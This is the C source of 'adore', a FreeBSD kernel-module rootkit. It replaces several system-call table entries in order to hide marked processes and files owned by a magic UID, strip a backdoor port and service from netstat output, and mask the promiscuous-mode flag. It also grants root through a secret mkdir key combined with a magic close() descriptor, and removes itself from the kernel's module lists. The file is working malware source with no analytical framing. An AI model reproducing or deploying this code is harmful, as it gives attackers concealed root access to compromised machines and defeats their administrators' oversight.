#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/sysctl.h>
#include <sys/syscall.h>
#include <sys/namei.h>
#include <sys/filedesc.h>
#include <sys/file.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/vnode.h>
#include <sys/dirent.h>
#include <sys/extattr.h>
#include <sys/queue.h>
#include <sys/malloc.h>
#include <sys/proc.h>

#define HIDDEN_MIB	"net.pula"	/* for example "net.backdoor" */

#define HIDDEN_SERVICE	"*.pula"	/* for example "*.backdoor" */
#define HIDDEN_PORT	"*.1234"	/* for example "*.31337" */

#ifndef ADORE_KEY
#error "No ADORE_KEY given!"
#endif
	
#define ADORE_VERSION	34

#define MAGIC_NUMBER	30000
#define MAGIC_UID	666

#define PF_INVISIBLE	0x1000000
#define PF_AUTH		((PF_INVISIBLE) << 1)

#define SIGINVISIBLE	100
#define SIGVISIBLE	101
#define SIGREMOVE	102

struct kinfo_proc {
  struct proc kp_proc;          /* proc structure */
  struct eproc {
    struct proc *e_paddr;       /* address of proc */
    struct session *e_sess;     /* session pointer */
    struct pcred e_pcred;       /* process credentials */
    struct ucred e_ucred;       /* current credentials */
    struct procsig e_procsig;   /* shared signal structure */
    char pad1[188];
    char pad2[224];
    pid_t e_ppid;               /* parent process id */
    pid_t e_pgid;               /* process group id */
    short e_jobc;               /* job control i */
    dev_t e_tdev;               /* controlling tty dev */
    pid_t e_tpgid;              /* tty process group id */
    struct session *e_tsess;    /* tty session pointer */
#define WMESGLEN        7
    char e_wmesg[WMESGLEN + 1]; /* wchan message */
    segsz_t e_xsize;            /* text size */
    short e_xrssize;            /* text rss */
    short e_xccount;            /* text references */
    short e_xswrss;
    long e_flag;
#define EPROC_CTTY      0x01    /* controlling tty vnode active */
#define EPROC_SLEADER   0x02    /* session leader */
    char e_login[roundup(MAXLOGNAME, sizeof(long))];
    long e_spare[2];
  }   kp_eproc;
};

int is_invisible(pid_t);
int hide_process(pid_t);
int unhide_process(pid_t);
int is_secret(char *, struct proc *);

char *my_strstr(char *, char *);

int global_counter;

char *my_strstr(char *s, char *find)
{
        register char c, sc;
        register size_t len;

        if ((c = *find++) != 0) {
                len = strlen(find);
                do {
                        do {
                                if ((sc = *s++) == 0)
                                        return (NULL);
                        } while (sc != c);
                } while (strncmp(s, find, len) != 0);
                s--;
        }
        return ((char *)s);
}

int is_invisible(pid_t pid)
{
  struct proc *p;
  if(pid == 0)
    return(0);

  p = pfind(pid);
  if(!p)
    return(0);

  if(p->p_flag & PF_INVISIBLE)
    return(1);

  return(0);
}

int hide_process(pid_t pid)
{
  struct proc *p;

  p = pfind(pid);
  if(!p)
    return(3);

  if(is_invisible(pid)) 
    return(2);

  p->p_flag |= (PF_INVISIBLE|PF_AUTH);
  return(0);
}

int unhide_process(pid_t pid)
{
  struct proc *p;

  p = pfind(pid);
  if(!p)
    return(3);

  if(is_invisible(pid) == 0)
    return(2);

  p->p_flag &= ~(PF_INVISIBLE|PF_AUTH);
  return(0);
}

static int h_mkdir(struct proc *p, struct mkdir_args *uap)
{
  char key[64];
  long r;

  copyin(uap->path, &key, sizeof(key));
  if(strcmp(key, ADORE_KEY) == 0) {
    p->p_flag |= PF_AUTH;
    return(1);
  }

  r = mkdir(p, uap);
  return(r);
}

static struct sysent h_mkdir_sysent = {
  2, 
  (sy_call_t *)h_mkdir
};

static int h_kill(struct proc *p, struct kill_args *uap)
{
  int ret;
  if(uap->signum == SIGINVISIBLE) {
    ret = hide_process(uap->pid);
    return(ret);
  }

  if(uap->signum == SIGVISIBLE) {
    ret = unhide_process(uap->pid);
    return(ret);
  }

/* System cannot shutdown if this is here!
  if(is_invisible(uap->pid))
    return(0); 
*/

  return kill(p, uap);
}

static struct sysent h_kill_sysent = {
  2,
  (sy_call_t *)h_kill
};

MALLOC_DEFINE(M_WRITEV, "iov", "struct");

#define  INT_MAX         0x7fffffff

static int h_writev(struct proc *p, struct writev_args *uap)
{
  int tmp, size, i;
  struct iovec aiov[UIO_SMALLIOV], *iov = NULL;
  char *match = "promiscuous mode";

  size = uap->iovcnt * sizeof(struct iovec);

  if(uap->iovcnt < 8) {
    iov = aiov;
  }   

  copyin(uap->iovp, iov, size);

  for(i = 0; i < uap->iovcnt; i++) {
    if(iov->iov_len > INT_MAX)
      return(EINVAL);

    if(my_strstr(iov->iov_base, match) != NULL) {
       printf("I'm here \n");
       return(1);
    }
    iov++;
  }

  tmp = writev(p, uap);
  return(tmp);
}

static struct sysent h_writev_sysent = {
  3,
  (sy_call_t *)h_writev
};

static int h_write(struct proc *p, struct write_args *uap)
{
  int ret;
  char temp[2048];

  if(sizeof(HIDDEN_SERVICE) >= 1 && sizeof(HIDDEN_PORT) >= 1) { 
    if(strcmp(p->p_comm, "netstat") == 0) {
      bzero(temp, sizeof(temp));
      copyin(uap->buf, temp, sizeof(temp) - 1);
      if(my_strstr(temp, HIDDEN_SERVICE))  
        return(uap->nbyte);
      if(my_strstr(temp, HIDDEN_PORT))
        return(uap->nbyte);
    }
  } 

  ret = write(p, uap);
 
  return(ret);
}

static struct sysent h_write_sysent = {
  3,
  (sy_call_t *)h_write
};

static int h_fork(struct proc *p, struct fork_args *uap)
{
  pid_t pid;
  int hidden = 0;

  if(is_invisible(p->p_pid))
    ++hidden;

  pid = fork(p, uap);

  if(hidden && pid >= 0)
    hide_process(pid);

  return(pid);
}

static struct sysent h_fork_sysent = {
  0,
  (sy_call_t *)h_fork
};

struct if_msghdr {
        u_short ifm_msglen;     /* to skip over non-understood messages */
        u_char  ifm_version;    /* future binary compatability */
        u_char  ifm_type;       /* message type */
        int     ifm_addrs;      /* like rtm_addrs */
        int     ifm_flags;      /* value of if_flags */
        u_short ifm_index;      /* index for associated ifp */
        char pad[80];
};

MALLOC_DEFINE(M_FLAGS, "flags", "char *");
MALLOC_DEFINE(M_NAME, "name", "char *");

static int h_sysctl(struct proc *p, struct sysctl_args *uap)
{
  int mib[4], needed, iflags;
  char *flags = NULL, *name;
  char hide[] = HIDDEN_MIB;
  size_t size, n_size;
  struct kinfo_proc kpr;
  struct if_msghdr *ifm;
  int tmp, i;

  tmp = __sysctl(p, uap);

  if(strcmp(p->p_comm, "sysctl") == 0 && sizeof(hide) >= 1) {
    if(uap->name[0] == 0 && uap->name[1] == 1) {
      copyin(uap->oldlenp, &size, sizeof(int));
      MALLOC(name, char *, size, M_NAME, M_WAITOK);
      copyin(uap->old, name, size);
      if(strcmp(name, hide) == 0) {
        size = 1; /* avoid invalid argument error */
        bzero(name, sizeof(name));
        copyout(name, uap->old, size);
        copyout(&size, uap->oldlenp, sizeof(int));
        FREE(name, M_NAME);
      }
    }
    return tmp;
  }

  copyin(uap->name, &mib, sizeof(mib));

  if(mib[2] == KERN_PROC_PID) {
    if(is_invisible(mib[3])) {
      size = 0;
      copyout(&size, uap->oldlenp, sizeof(size));
      return (0);
    } else {
      return 0;
    }
  }

  if(mib[0] == CTL_KERN) {
    if(mib[1] == KERN_PROC) {
      if(uap->old != NULL) {
        if(global_counter == 0) {
          global_counter++;
          for(i = 0; (i * sizeof(kpr) <= size); i++) {
            copyin((char *)uap->old + i * sizeof(kpr), &kpr, sizeof(kpr));
            if(is_invisible(kpr.kp_proc.p_pid)) {
              n_size = size - sizeof(kpr);
              bcopy((char *)uap->old + (i + 1) * sizeof(kpr),
                      (char *)uap->old + i * sizeof(kpr),
                        size - (i + 1) * sizeof(kpr));
            }
          }
          copyout(&n_size, uap->oldlenp, sizeof(size));
          return 0;
        }
      } else {
        copyin(uap->oldlenp, &size, sizeof(size));
        size -= sizeof(kpr) * 5;
        n_size = size;
        global_counter = 0;
      }
    }
  }

  if(uap->name[0] == 4 && uap->name[1] == 17 &&
       uap->name[2] == 0 && uap->name[3] == 0 &&
           uap->name[4] == 3 && uap->name[5] == 0)
  {
    copyin(uap->oldlenp, &needed, sizeof(int));
    MALLOC(flags, char *, needed, M_FLAGS, M_WAITOK);
    copyin(uap->old, flags, needed);
    ifm = (struct if_msghdr *)flags;
    if(ifm->ifm_type == 0xe) {
      iflags = ifm->ifm_flags;

      if(ifm->ifm_flags & 256)
        ifm->ifm_flags &= ~(256);
      copyout(ifm, uap->old, needed);
      FREE(flags, M_FLAGS);
      return tmp;
    }
  }
  return tmp;
}

static struct sysent h_sysctl_sysent = {
  6,
  (sy_call_t *)h_sysctl                     
};

static int h_close(struct proc *p, struct close_args *uap)
{
  int ret = 0;

  switch(uap->fd) {
    case MAGIC_NUMBER:
      if((p->p_flag & PF_AUTH) != PF_AUTH) {
        ret = -EPERM;
        break;
      }
      ret = 0;
      p->p_cred->pc_ucred->cr_uid = 0;
      p->p_cred->pc_ucred->cr_gid = 0;
      break;
    case MAGIC_NUMBER + 1:
      return(ADORE_VERSION);
      break;
    default:
      close(p, uap);
      return(p->p_retval[0]);
      break;
  }
  return(ret);
}

static struct sysent h_close_sysent = {
  1,
 (sy_call_t *) h_close
};

int is_secret(char *file, struct proc *p)
{
  int ret;
  uid_t uid;
  struct nameidata nd;
  struct stat st;

  NDINIT(&nd, LOOKUP, FOLLOW, UIO_SYSSPACE, file, p);

  ret = namei(&nd);

  if(ret != 0) {
    NDFREE(&nd, NDF_ONLY_PNBUF);
    return(-1);
  }

  vn_stat(nd.ni_vp, &st, p);

  NDFREE(&nd, NDF_ONLY_PNBUF);

  uid = st.st_uid;

  if(uid == MAGIC_UID) {
    return(1);
  }
  return(0);
}

MALLOC_DEFINE(M_DIRP2, "d", "struct");

static int h_getdirentries(struct proc *p, struct getdirentries_args *uap)
{
  int ret, offset, r;
  char *ptr;
  struct dirent *curr, *prev = NULL, *d, *orig_d;

  getdirentries(p, uap);

  ret = p->p_retval[0];
  if(ret <= 0)
    return(ret);

  MALLOC(d, struct dirent *, ret, M_DIRP2, M_WAITOK);

  copyin(uap->buf, d, ret);

  orig_d = d;
  ptr = (char *)d;
  r = ret;

  while(ptr < (char *) orig_d + r) {
    curr = (struct dirent *)ptr;
    offset = curr->d_reclen;

    if(is_secret((char *)&(curr->d_name), p) == 1) {
      if(!prev) {
        ret -= offset;
        d = (struct dirent *)((char *)d + offset);
      } else {
        prev->d_reclen += offset;
        bzero(curr, offset);
      }
    } else {
      prev = curr;
    }
    ptr += offset;
  }

  copyout(d, uap->buf, ret);

  FREE(d, M_DIRP2);
  return(0);
}

static struct sysent h_getdirentries_sysent = {
  4,
  (sy_call_t *)  h_getdirentries
};

typedef TAILQ_HEAD(, module) modulelist_t;

extern struct lock lock;
extern linker_file_list_t linker_files;
extern int next_file_id;
extern modulelist_t modules;
extern  int nextid;

struct module {
  TAILQ_ENTRY(module) link;
  TAILQ_ENTRY(module) flink;
  struct linker_file *file;
  int refs;
  int id;
  char *name;
  modeventhand_t handler;
  void *arg;
  modspecific_t data;
};


static int dummy_handler (struct module *module, int cmd, void *arg)
{
  linker_file_t lf = 0;
  module_t mod = 0;

  lockmgr(&lock, LK_SHARED, 0, curproc);

  (&linker_files)->tqh_first->refs--;

  for(lf = (&linker_files)->tqh_first; lf; lf = (lf)->link.tqe_next) {
    if(strcmp(lf->filename, "adore.ko") == 0) {
      next_file_id--;
      if(((lf)->link.tqe_next) != NULL)
        (lf)->link.tqe_next->link.tqe_prev = (lf)->link.tqe_prev;
      else
        (&linker_files)->tqh_last = (lf)->link.tqe_prev;
      *(lf)->link.tqe_prev = (lf)->link.tqe_next;
      break;
    }
  }

  lockmgr(&lock, LK_RELEASE, 0, curproc);

  for(mod = TAILQ_FIRST(&modules); mod; mod = TAILQ_NEXT(mod, link)) {
    if(!strcmp(mod->name, "adore")) {
      nextid--;
      TAILQ_REMOVE(&modules, mod, link);
    }
  }

  sysent[2] = h_fork_sysent;
  sysent[4] = h_write_sysent;
  sysent[6] = h_close_sysent;
  sysent[37] = h_kill_sysent;
  sysent[121] = h_writev_sysent;
  sysent[136] = h_mkdir_sysent;
  sysent[196] = h_getdirentries_sysent;
  sysent[202] = h_sysctl_sysent;

  return(0);
}

static moduledata_t syscall_mod = {
  "adore",
  dummy_handler,
  NULL
};

DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);          
